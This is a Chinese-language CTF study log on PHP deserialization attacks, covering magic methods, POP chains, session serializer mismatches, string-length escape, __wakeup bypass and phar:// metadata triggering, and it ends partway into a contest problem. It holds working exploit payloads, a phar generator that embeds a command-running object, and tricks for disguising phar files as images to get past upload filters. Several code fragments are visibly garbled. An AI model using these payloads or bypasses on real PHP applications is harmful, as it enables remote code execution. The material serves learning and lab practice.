学习日志(五)【php反序列化全加例题】【pop链,字符逃逸,session,伪协议】

1. 任务

1.1.1.1.1.1. 知识部分:
  • php反序列化相关知识,进行收尾
    • phar伪协议触发
    • 字符逃逸
    • php的session
    • 魔术方法以及pop链
1.1.1.1.1.2. 题目部分:
  1. 反序列化靶场1-18 https://github.com/ProbiusOfficial/PHPSerialize-labs
1.1.1.1.1.3. 参考大佬

2. 知识点学习(php反序列化)

2.1. 魔术方法(上周介绍更详细,这周添加示例和解题出现使用方法)

2.1.1. 构造与析构方法(__construct()、__destruct())

2.1.1.1. __construct() 构造函数
  • 触发时机:实例化对象**(执行** **new****关键字)**时,自动执行。

  • 功能:初始化对象,常用于给属性赋值、初始化资源。

  • 注意:序列化、反序列化过程中不会触发

    username = $username; echo "触发了构造函数1次"; } } $test = new User("musy"); // 实例化,触发构造函数(输出对应内容) $ser = serialize($test); // 序列化,不触发 unserialize($ser); // 反序列化,不触发 ?>
2.1.1.2. __destruct() 析构函数
  • 触发时机:对象的所有引用被删除、对象被显示销毁,或脚本执行结束时。

  • 功能:释放对象占用的资源(如关闭数据库连接)。

  • 漏洞利用:最常用的触发点,反序列化生成的对象会在脚本结束时被销毁,触发该方法。

    // 输出结果:触发了析构函数1次
    //(实例化的对象在脚本结束时销毁,反序列化的对象也销毁,共2次?需结合环境,示例仅作参考)

2.1.1.2.1. 析构函数漏洞利用例题
复制代码
<?php
class User{
    var $cmd = "system('ls');";
    public function __destruct(){
        eval($this->cmd); // 析构时执行eval,执行$cmd中的命令
    }
}
$ser = $_GET['benben']; // 可控入参
unserialize($ser); // 反序列化,销毁时触发__destruct
?>

// 利用思路:构造序列化字符串,修改$cmd为读取flag的命令

// EXP:?benben=O:4:"User":1:{s:3:"cmd";s:13:"system('cat/flag');";}

2.1.2. 序列化与反序列化触发方法(__sleep()、__wakeup())

2.1.2.1. __sleep() 方法
  • 触发时机:执行serialize()函数之前,自动触发。

  • 功能:清理对象,返回需要序列化的成员属性数组(仅数组中的属性会被序列化)。

  • 注意:若未返回内容,会序列化null,产生E_NOTICE错误。

  • 漏洞利用:触发时可执行恶意代码(如命令执行)。

    username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep(){ return array('username','nickname'); // 仅序列化这两个属性 } } $user = new User('a','b','c'); echo serialize($user); // 输出仅包含username和nickname的序列化字符串 ?>
2.1.2.1.1. __sleep() 漏洞利用例题
复制代码
<?php
class User{
    const SITE='musy';
    public $username;
    public $nickname;
    private $password;
    public function __construct($username,$nickname,$password){
        $this->username = $username;
        $this->nickname = $nickname;
        $this->password = $password;
    }
    public function __sleep(){
        system($this->username); // 序列化前执行system命令
    }
}
$cmd = $_GET['benben'];
$user = new User($cmd,'b','c');
echo serialize($user); // 序列化触发__sleep,执行$cmd中的命令
?>

// EXP:?benben=cat/flag

2.1.2.2. __wakeup() 方法

触发时机:执行unserialize()函数之前,自动触发。

功能:初始化对象资源(如重新建立数据库连接),返回void。

漏洞利用:常用触发点,反序列化前执行恶意代码。

关键区别:__wakeup()在反序列化前触发,__destruct()在反序列化后(对象销毁)触发。

2.1.2.2.1. __wakeup() 漏洞利用例题
复制代码
<?php
class User{
    const SITE='musy';
    public $username;
    public function __wakeup(){
        system($this->username); // 反序列化前执行system命令
    }
}
$user_ser = $_GET['benben'];
unserialize($user_ser); // 反序列化触发__wakeup
?>

// EXP:?benben=O:4:"User":1:{s:8:"username";s:8:"cat/flag";}

2.1.3. 对象类型错误调用方法(__toString()、__invoke())

2.1.3.1. __toString() 方法
  • 触发时机:将对象当作字符串调用时(如echo 对象、𝑝𝑟𝑖𝑛𝑡对象)。

  • 功能:自定义对象的字符串输出形式,需返回字符串。

  • 漏洞利用:强制对象作为字符串调用,触发该方法执行恶意代码。

2.1.3.2. __invoke() 方法
  • 触发时机:将对象当作函数调用时(如$对象())。

  • 功能:自定义对象作为函数调用时的行为。

  • 漏洞利用:强制对象作为函数调用,触发该方法执行恶意代码。

    name; // 正常访问属性,不触发 $test(); // 把对象当作函数,触发__invoke(输出对应内容) ?>

2.1.4. 错误调用相关魔术方法

2.1.4.1. __call() 方法
  • 触发时机:调用对象不存在的普通方法时。

  • 参数:两个参数,第一个是调用的方法名,第二个是方法的参数数组。

  • 功能:处理未定义方法的调用,返回自定义结果。

    callss('a'); // 调用不存在的方法callss,触发__call ?>

    // 输出结果:callss,a

2.1.4.2. __callStatic() 方法
  • 触发时机:静态调用对象不存在的方法时(如$类名::方法名())。

  • 参数:与__call()一致,方法名和参数数组。

  • 功能:处理未定义静态方法的调用。

    // 输出结果:callxxx,a

2.1.4.3. __get() 方法
  • 触发时机:访问对象不存在/不可访问的属性时。

  • 参数:一个参数,即访问的属性名。

  • 功能:处理未定义属性的访问,返回自定义结果。

    var2; // 访问不存在的var2,触发__get ?>

    // 输出结果:var2

2.1.4.4. __set() 方法
  • 触发时机:给对象不存在/不可访问的属性赋值时。
  • 参数:两个参数,属性名和赋值的值。
  • 功能:处理未定义属性的赋值。
2.1.4.5. __isset() 方法
  • 触发时机:对不可访问的属性使用isset()empty()判断时。

  • 参数:访问的属性名。

  • 功能:处理不可访问属性的存在性判断。

    var); // 对private属性var使用isset,触发__isset ?>

    // 输出结果:var

2.1.4.6. __unset() 方法
  • 触发时机:对不可访问的属性使用unset()删除时。
  • 参数:需要删除的属性名。
  • 功能:处理不可访问属性的删除操作。
2.1.4.7. __clone() 方法
  • 触发时机:用clone关键字复制对象完成后,新对象自动触发。

  • 功能:自定义对象的克隆逻辑。

    // 输出结果:_clone test

2.2. pop链构造

看到一位前辈把完整的过程写下了来,在此展示一下:

2.2.1.1. 例题代码
复制代码
<?php
//flag is in flag.php
highlight_file(__FILE__);
error_reporting(0);
class Modifier{
    private $var;
    public function append($value){
        include($value); // 目标:触发include(flag.php),输出flag
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var); // __invoke触发时,调用append方法
    }
}
class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source; // __toString触发时,访问str的source属性
    }
    public function __wakeup(){
        echo $this->source; // __wakeup触发时,输出source(当作字符串,触发__toString)
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p=array();
    }
    public function __get($key){
        $function=$this->p;
        return $function(); // __get触发时,将p当作函数调用(触发__invoke)
    }
}
if(isset($_GET['pop'])){
    unserialize($_GET['pop']); // 入口:反序列化,触发__wakeup
}
?>
2.2.1.2. 构造步骤
  1. 确定目标:触发Modifier::append()方法,传入$value=flag.php,执行include(flag.php)
  2. 梳理触发链:从反序列化入口开始,串联魔术方法:

unserialize() → Show::__wakeup() → Show::__toString() → Test::__get() → Modifier::__invoke() → Modifier::append()

  1. 拆解触发条件:
  • 反序列化触发 Show 的 __wakeup():反序列化的对象是 Show 实例。
  • __wakeup() 触发 __toString():Show 的 $source 是 Show 自身(echo 时当作字符串)。
  • __toString() 触发 Test 的 __get():Show 的 $str 是 Test 实例,Test 无 source 属性,访问时触发 __get()。
  • __get() 触发 Modifier 的 __invoke():Test 的 $p 是 Modifier 实例,当作函数调用时触发 __invoke()。
  • __invoke() 触发 append():Modifier 的 𝑣𝑎𝑟赋值为𝑓𝑙𝑎𝑔.𝑝ℎ𝑝,调用𝑎𝑝𝑝𝑒𝑛𝑑(var)。
  1. 编写POC代码:实例化类,赋值属性,生成序列化字符串。
2.2.1.3. poc代码
复制代码
<?php
class Modifier{
    private $var = 'flag.php'; // 给var赋值为flag.php
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
// 构造触发链
$mod = new Modifier(); // Modifier实例,用于触发__invoke
$test = new Test();
$test->p = $mod; // Test的p赋值为Modifier实例,当作函数调用触发__invoke
$show = new Show();
$show->str = $test; // Show的str赋值为Test实例,访问source触发__get
$show->source = $show; // Show的source赋值为自身,echo时触发__toString
echo serialize($show); // 生成序列化字符串
?>
2.2.1.4. 最终EXP(处理private属性)

序列化字符串中,Modifier的private属性$var需拼接%00,最终EXP:

复制代码
?pop=O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

2.3. php的Session

2.3.1. 什么是session【类似于个人的标签,存储用户】

HTTP协议本身是无状态 的------服务器默认无法识别多个请求是否来自同一个用户。Session就是为解决这个问题诞生的:它是服务器为每个客户端创建的唯一服务器端 存储对象,用来在用户的多次请求之间保存状态数据(比如登录状态、购物车内容)。

Session一般称为"会话控制",简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种"对话"机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话 的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。】

2.3.2. 工作流程

开始一个会话->PHP 从请求中查找会话 ID->发现请求的CookiesGetPost中不存在 session id->用php_session_create_id函数创建一个新的会话->在http response中通过set-cookie头部发送给客户端保存

【若客户端的cookie被禁止了,则搞到url里头和formhidden字段中,需要将php.ini中的session.use_trans_sid设为开启】

2.3.3. PHP session 在 php.ini 中的配置

PHP sessionphp.ini中主要存在以下配置项:

  • session.gc_divisor

php session垃圾回收机制相关配置

  • session.sid_bits_per_character

指定编码的会话ID字符中的位数

  • session.save_path=""

该配置主要设置session存储路径

  • session.save_handler=""

该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

  • session.use_strict_mode

严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

  • session.use_cookies

指定是否在客户端用 cookie 来存放会话 ID,默认启用

  • session.cookie_secure

指定是否仅通过安全连接发送 cookie,默认关闭

  • session.use_only_cookies

指定是否在客户端仅仅 使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

  • session.name

指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

  • session.auto_start

指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

  • session.cookie_lifetime

指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示"直到关闭浏览器"。默认为 0

  • session.cookie_path

指定要设置会话cookie 的路径,默认为 /

  • session.cookie_domain

指定要设置会话cookie域名 ,默认为无,表示根据 cookie 规范产生cookie的主机名

  • session.cookie_httponly

将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

  • session.serialize_handler

定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

  • session.gc_probability

该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

  • session.gc_divisor

该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

  • session.gc_maxlifetime

指定过了多少秒之后数据就会被视为"垃圾"并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probabilitysession.gc_divisor

  • session.referer_check

包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

  • session.cache_limiter

指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

  • session.cache_expire

以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180

  • session.use_trans_sid

指定是否启用透明 SID 支持。默认禁用

  • session.sid_length

配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

  • session.trans_sid_tags

指定启用透明sid支持时重写哪些HTML标签以包括会话ID

  • session.trans_sid_hosts

指定启用透明sid支持时重写的主机,以包括会话ID

  • session.sid_bits_per_character

配置编码的会话ID字符中的位数

  • session.upload_progress.enabled

启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

  • session.upload_progress.cleanup

读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

  • session.upload_progress.prefix

配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_

  • session.upload_progress.name

$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

  • session.upload_progress.freq

定义应该多长时间更新一次上传进度信息

  • session.upload_progress.min_freq

更新之间的最小延迟

  • session.lazy_write

配置会话数据在更改时是否被重写,默认启用

以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等,这些不是本文的主题,故不在赘述,在这里主要来具体谈一谈session.serialize_handler配置项

2.3.4. PHP session 的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的

|---------------|---------------------------------------------------|
| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值 |
| php_serialize | 经过serialize()函数序列化处理的数组 |

2.3.4.1. php 处理器
复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['username'] = $_GET['username'];
?>

序列化的结果为:username|s:7:"bmjoker";

文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为:$_SESSION['username']的键名 + | + GET参数经过serialize序列化后的值

2.3.4.2. php_binary处理器
复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值【键值长度为 35,35 对应的 ASCII 码为#

2.3.4.3. php_serialize 处理器
复制代码
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:8:"username";s:7:"bmjoker";}

文件名为 sess_ck17sapjdvffchabcgp2suji96,其中ck17sapjdvffchabcgp2suji96为当前会话的sessionid

Session文件内容为:GET参数经过serialize序列化后的值。

2.3.5. session反序列化漏洞

2.3.5.1. 成因是什么?

Session反序列化漏洞是PHP中经典的反序列化漏洞,核心成因是不同序列化处理器的存储格式差异,利用这个差异可以注入恶意序列化数据,触发远程代码执行。

【不同的处理器,存储的格式也有所不同,】

比如:对于php_serialize引擎来说' | '可能只是一个正常的字符 ;但对于php引擎来说' | '就是分隔符 ,前面是$_SESSION['username']的键名 ,后面是GET参数经过serialize序列化后的值。从而在解析的时候造成了歧义,导致其在解析Session文件时直接对' | '后的值进行反序列化处理。

同一个站点中,不同页面使用了不同的session序列化处理器,且Session值可控时,攻击者可以构造特殊的Session数据,让PHP读取Session时错误的反序列化攻击者可控的恶意对象,最终触发RCE。

若写入 session 时用 A 格式,读取解析时用 B 格式,就会触发反序列化漏洞

2.3.5.2. 如何利用漏洞,步骤是什么?
  1. 环境准备(存在配置差异)
    • session.php:使用php_serialize序列化,且用户可控Session内容

      ini_set('session.serialize_handler', 'php_serialize');
      session_start();
      _SESSION["username"] = _GET["input"]; // 用户可控输入

    • index.php:使用默认php序列化,且存在可利用的危险类

      ini_set('session.serialize_handler', 'php');
      session_start();
      class Evil {
      public cmd; function __destruct() { eval(this->cmd); // 危险方法,可执行代码
      }
      }

  1. 构造恶意Payload
    攻击者 input****参数中传入带 **|**前缀的恶意序列化对象

    ?input=|O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";}

  2. Session存储结果
    session.php会用php_serialize序列化整个数组,最终Session文件内容为:

    a:1:{s:8:"username";s:38:"|O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";}";}

  3. 触发漏洞
    用户访问index.php,PHP会用默认php处理器反序列化Session:

    • php处理器会以|作为分隔符,将分隔符后内容识别为需要反序列化的值
    • 直接反序列化分隔符后的O:4:"Evil":1:{s:3:"cmd";s:10:"phpinfo();";}
    • 反序列化完成后对象销毁时触发__destruct(),成功执行phpinfo(),RCE完成。

2.4. PHP反序列化逃逸漏洞

2.4.1. 反序列化基本规则

PHP反序列化严格遵守格式规则,规则的破坏是逃逸漏洞的核心成因。

2.4.1.1. 结构完整性要求

对象结构:O:类名长度:"类名":属性数量:{属性定义;}

属性结构:每个属性为"类型:长度:"值";"的格式。

数量一致性:声明的属性数量必须与实际提供的属性数量完全一致,否则反序列化失败。

复制代码
<?php
class A{
    public $v1 = "a";
}
// 正确:属性数量匹配
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";}';
var_dump(unserialize($b)); // 成功
 
// 错误:属性数量不匹配(声明1个,实际2个)
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b)); // bool(false)
?>
  • [属性名的类型长度内容];[属性值的类型长度内容];
  • 如果属性值是null,就会写成 N;
2.4.1.2. 长度字段一致性

字符串值的实际长度必须与序列化时声明的长度完全一致,否则反序列化失败(PHP依赖长度判断字符串边界,而非分隔符)。

复制代码
<?php
// 错误:声明长度1,实际长度4("musy")
$b = 'O:1:"A":2:{s:2:"v1";s:1:"musy";s:2:"v2";N;}';
var_dump(unserialize($b)); // bool(false)
 
// 正确:声明长度与实际长度一致
$b = 'O:1:"A":2:{s:2:"v1";s:4:"musy";s:2:"v2";N;}';
var_dump(unserialize($b)); // 成功
?>
2.4.1.3. 反序列化终止符

PHP反序列化以;}作为终止符,只要前面的内容格式正确,后续内容不会影响反序列化结果。

【注意:】

反序列化按照一定的序列化规则,但是有一定的识别范围,在这个范围之外(花括号}之后)的字符都会被忽略,不影响反序列化的正常进行

2.4.1.4. 特殊字符处理

属性值包含引号等特殊字符时,序列化会自动转义,但字符串长度计算的是实际字符数,而非转义后的字符数。

复制代码
<?php
class Test{
    // 属性值包含双引号
    public $name = 'He said "Hello"';
}

// 正常序列化
$serialized = serialize(new Test());
echo $serialized;
// 输出结果:O:4:"Test":1:{s:4:"name";s:15:"He said "Hello"";}
?>

比如说:

这个空格 是计算进的,双引号等等

转义后的特殊字符 :比如\n(换行)在序列化时会被存储为\n,但原始字符串的换行本身会被算入长度,和转义反斜无关。

2.4.2. 反序列化属性处理机制

反序列化对象时,属性值的来源遵循以下规则:

  1. 序列化字符串中定义的属性:值由字符串提供。

  2. 序列化字符串中未定义,但类中存在的属性:值使用类的默认值。

  3. 序列化字符串中定义,但类中不存在的属性:动态添加到对象中。

    string(1) "a" // 来自序列化字符串 ["v2"]=> string(1) "b" // 来自类默认值 ["v3"]=> string(1) "c" // 动态添加 } */ ?>

2.4.3. 逃逸漏洞产生场景与原理

2.4.3.1. 漏洞产生条件
  1. 数据处理链条:数据先序列化(serialize)→ 字符串处理(替换/过滤) 反序列化

(unserialize)

  1. 长度变化:字符串处理导致序列化字符串的实际长度发生变化(变长/变短)
  2. 长度声明不变:序列化时的长度声明未同步更新,与处理后的实际长度不一致。
2.4.3.2. 核心原理

PHP反序列化依赖长度声明确定字符串边界,而非分隔符。当实际长度与声明长度不一致时,会导致解析边界错误,攻击者可利用该错误注入恶意属性,实现逃逸。

2.4.3.3. 两种逃逸类型

|--------|----------------|--------------|-----------------|
| 类型 | 触发条件 | 长度变化 | 攻击方式 |
| 字符减少逃逸 | 敏感字符被替换为空/更短字符 | 实际长度 < 声明长度 | 吞噬后续合法属性,注入恶意属性 |
| 字符增多逃逸 | 短字符被替换为更长字符 | 实际长度 > 声明长度 | 吐出多余字符,构造恶意属性 |

2.4.3.4. 来一道解析解析

SQCTF 这题也是相关知识】

【这里选择安洵杯2019这道题目:easy_serialize_php

复制代码
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
echo serialize($_SESSION);
?>

得到的序列化字段为:

复制代码
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这里如果增加了过滤机制 ,会将flag字段替换为空,那么上面序列化字符串过滤结果为:

复制代码
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

这个时候长度的声明没有变化,则是长度不匹配导致的反序列化逃逸

如果将上面过滤之后的字符串进行反序列化,会不会报错呢?

复制代码
<?php
$_SESSION["user"]='flagflagflagflagflagflag';
$_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
$_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
$ser = serialize($_SESSION);
var_dump(unserialize($ser));
echo "-----------------------\n";
$filter = preg_replace("/flag/i",'',$ser);
var_dump(unserialize($filter));
?>

preg_replace("/flag/i",'',$ser);

  • /flag/匹配内容
  • i不区分大小写
  • ''空字符

s:24:"";s:8:"function";s:59:"a";24位,也就是这个时候会把原本属于function属性的字符串继续往下读,而非对他进行属性的解读。当凑齐24个字符后以";结尾。【后面全乱套了】

并且"dd";s:1:"a";}"出现最后的终止符了,导致后面的内容都直接被忽略掉

可以看到本例中$_SESSION["img"]对应的值发生了变化。这样的话岂不是可以做到"隔山打牛",如果我们能够控制原来$_SESSION数组的funcion的值,但无法控制img的值,我们就可以通过这种方式间接控制到 img 对应的值

2.5. __wakeup () 绕过

__wakeup()是 PHP 反序列化的核心魔术方法,会在unserialize()执行时优先触发 ,常用于重置对象属性,绕过的核心是破坏序列化字符串的结构使其失效

  • 绕过原理 :当序列化字符串中类属性的声明数量 > 实际属性数量 时,PHP 会跳过__wakeup()执行;
  • 实战示例:原序列化字符串(Game 类 3 个属性):

O:4:"Game":3:{s:3:"cmd";s:18:"system("cat /flag");";...}

绕过修改(把属性数 3 改为 4):

O:4:"Game":4:{s:3:"cmd";s:18:"system("cat /flag");";...}

2.6. 引用(类似指针)

PHP 反序列化中的引用是内存地址指向 ,会改变序列化字符串结构,常被用于绕过长度校验或构造特殊利用链

  • 核心概念 :引用用&表示,序列化时会标记为R:+ 引用编号,多个变量指向同一内存地址;

  • 例子

    a = "hello"; $obj->b = &$obj->a; // b引用a的内存地址 echo serialize($obj); // 输出:O:4:"Test":2:{s:1:"a";s:5:"hello";s:1:"b";R:2;}
  • 应用场景

    • 绕过属性长度限制(修改引用源即可同步修改多个属性);
    • 构造循环引用触发内存溢出(CTF 小众考点)。

2.7. phar伪协议触发php反序列化

2.7.1. 介绍

Phar反序列化不需要代码中存在明显的unserialize()函数,只要存在文件操作函数即可触发,

当PHP处理Phar归档文件时,如果调用了某些文件操作函数(如file_exists()、file_get_contents()),就会自动反序列化文件中存储的元数据 (metadata)。如果这个元数据被精心构造,就可能触发危险的魔术方法执行。

2.7.1.1. 什么是phar文件

Phar(PHP Archive)就像是PHP的"ZIP压缩包",可以把多个PHP文件打包成一个文件**【归档】**,而且不经过解压就能被php访问并执行,与file://,php://等类似,也是一种流包装器。

•普通PHP文件 = 单个文件(如:index.php

•Phar文件 = 一个文件夹 (包含:index.php, config.php, lib.php等)

phar归档文件由四部分组成:

1. a stub

识别phar拓展的标识,格式为:xxx<?php xxx; __HALT_COMPILER();?>,对应的函数 Phar::setStub。前期内容不限,但必须以 __HALT_COMPILER();?>结尾,否则phar扩展将无法识别这个文件为phar文件。

2. a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分 。对应函数Phar::setMetadata---设置phar归档元数据。

3. the file contents

被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only)

签名,放在文件末尾。

对应函数Phar :: stopBuffering---停止缓冲对Phar存档的写入请求,并将更改保存到磁盘。

这里有两个关键点:

  1. 文件标识

必须以 __HALT_COMPILER();?> 结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者pdf文件来绕过一些上传限制

  1. 反序列化

phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时,文件内容会被解析成phar对象,然后phar对象内的meta-data会被反序列化。

meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。

而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。

2.7.2. 步骤

2.7.2.1. 创建漏洞文件
复制代码
<?php
// 这是一个存在Phar反序列化漏洞的文件
header('Content-Type: text/html; charset=utf-8'); // 添加这行
error_reporting(0);
highlight_file(__FILE__);

class Evil {
    private $command;
    
    public function __construct($cmd) {
        $this->command = $cmd;
    }
    
    public function __destruct() {
        // 当对象销毁时执行系统命令
        system($this->command);
    }
}

// 用户输入的文件路径
if(isset($_GET['file'])) {
    $filename = $_GET['file'];
    echo "正在检查文件: " . htmlspecialchars($filename) . "<br>";
    
    // 这些函数都会触发Phar反序列化!
    if(file_exists($filename)) {
        echo "文件存在!<br>";
        echo "文件大小: " . filesize($filename) . " bytes<br>";
    }
}
?>
2.7.2.2. 创建Phar生成器 create_phar.php

本地生成一个phar文件,要想使用Phar类里的方法,必须将php.ini文件中的phar.readonly配置项配置为0或Off

复制代码
<?php
header('Content-Type: text/html; charset=utf-8'); // 添加这行

// 创建恶意Phar文件的生成器

// 定义恶意类(要与漏洞文件中的类名一致)
class Evil {
    private $command;
    public function __construct($cmd) {
        $this->command = $cmd;
    }
}

// 删除旧文件
@unlink('malicious.phar');

try {
    // 1. 创建Phar对象
    $phar = new Phar('malicious.phar');
    
    // 2. 开始缓冲
    $phar->startBuffering();
    
    // 3. 设置恶意元数据(关键步骤!)
    $evil_object = new Evil('cat /flag.txt'); // 要执行的命令
    $phar->setMetadata($evil_object);  // 这里会序列化并存储对象
    
    // 4. 添加一些内容(Phar文件必须有内容)
    $phar->addFromString('test.txt', 'This is a test file');
    
    // 5. 设置stub(文件头)
    $phar->setStub('<?php __HALT_COMPILER(); ?>');
    
    // 6. 停止缓冲
    $phar->stopBuffering();
    
    echo "✅ 恶意Phar文件创建成功!<br>";
    echo "📁 文件: malicious.phar<br>";
    echo "📊 大小: " . filesize('malicious.phar') . " bytes<br>";
    
} catch (Exception $e) {
    echo "❌ 错误: " . $e->getMessage() . "<br>";
}
?>
2.7.2.3. 执行攻击

1.生成phar文件

php create_phar.php

2.发起攻击

http://127.0.0.1/phar_vuln.php?file=phar://malicious.phar/test.txt

3.攻击成功

2.7.3. 漏洞触发条件与常见场景

2.7.3.1. 满足条件

在实战中遇到Phar反序列化漏洞,通常需要满足三个关键条件:

  1. phar文件要能够上传到服务器端(如GET、POST),并且要有file_exists(),fopen(),file_get_contents(),include()等文件操作的函数
  2. 要有可用的魔术方法作为"跳板";
  3. 文件操作函数的参数可控,且:,/,phar等特殊字符没有被过滤。

【虽然某些函数能够支持phar://的协议,但是如果目标服务器没有关闭phar.readonly时,就不能正常执行反序列化操作。】

即:

  • 文件上传点:能上传伪装成图片/文档的Phar文件
  • 触发函数:存在能解析Phar协议的文件操作函数
  • POP链:存在可串联的魔术方法调用链
2.7.3.2. 受影响的文件操作函数列表

这些函数里面可以使用phar协议,当然还有常用的文件包含的几个函数 include、include_once、requrie、require_once

|-------------------|---------------|--------------|-------------------|------------------|------------------------|
| fileatime | filectime | file_exists | file_get_contents | touch | get_meta_tags |
| file_put_contents | file | filegroup | fopen | hash_file | get_headers |
| fileinode | filemtime | fileowner | fileperms | md5_file | getimagesize |
| is_dir | is_executable | is_file | is_link | sha1_file | getimagesizefromstring |
| is_readable | is_writable | is_writeable | parse_ini_file | hash_update_file | imageloadfont |
| copy | unlink | stat | readfile | hash_hmac_file | exif_imagetype |

2.7.3.3. 将phar伪造成其他文件

php识别phar文件是通过其文件头的stub,更确切一点来说是 __HALT_COMPILER();?> 这段代码,对前面的内容或者后缀名是没有要求的。

通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

demo:

//设置stub,增加gif文件头 $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");

典型场景:

网站允许上传"头像图片",后端用getimagesize()检测文件类型。我通过添加GIF89a头绕过检测,再用phar://协议触发反序列化。具体绕过手法包括:

  • 后缀名伪造:将.phar改为.png/.gif
  • 文件头伪造:添加图片文件头(GIF89a/PNG头)
  • MIME类型欺骗:修改Content-Type为image/png
2.7.3.4. 在禁止phar开头的情况下的替代方法:
复制代码
compress.zlib://phar://phar.phar/test.txt

compress.bzip2://phar://phar.phar/test.txt 

php://filter/read=convert.base64-encode/resource=phar://phar.phar/test.txt

虽然会报warning,但是还是会执行。

2.7.4. 题目

【Web】Phar反序列化实战:从例题解析到漏洞利用技巧-CSDN博客

里面有三道题,从入门到进阶,个人能力有限,对于进阶和高阶暂先没有搞,如果有兴趣的可以去试试

我这里提到两题(在下面题目里头)

3. 题目

3.1. SWPUCTF 2023 秋季新生赛UnS3rialize

3.1.1. 题目

Let's do some deserialization :)

复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
    public $cmd;
    function __invoke()
    {
        echo "Congratulations!!!You have learned to construct a POP chain<br/>";
        system($this->cmd);
    }
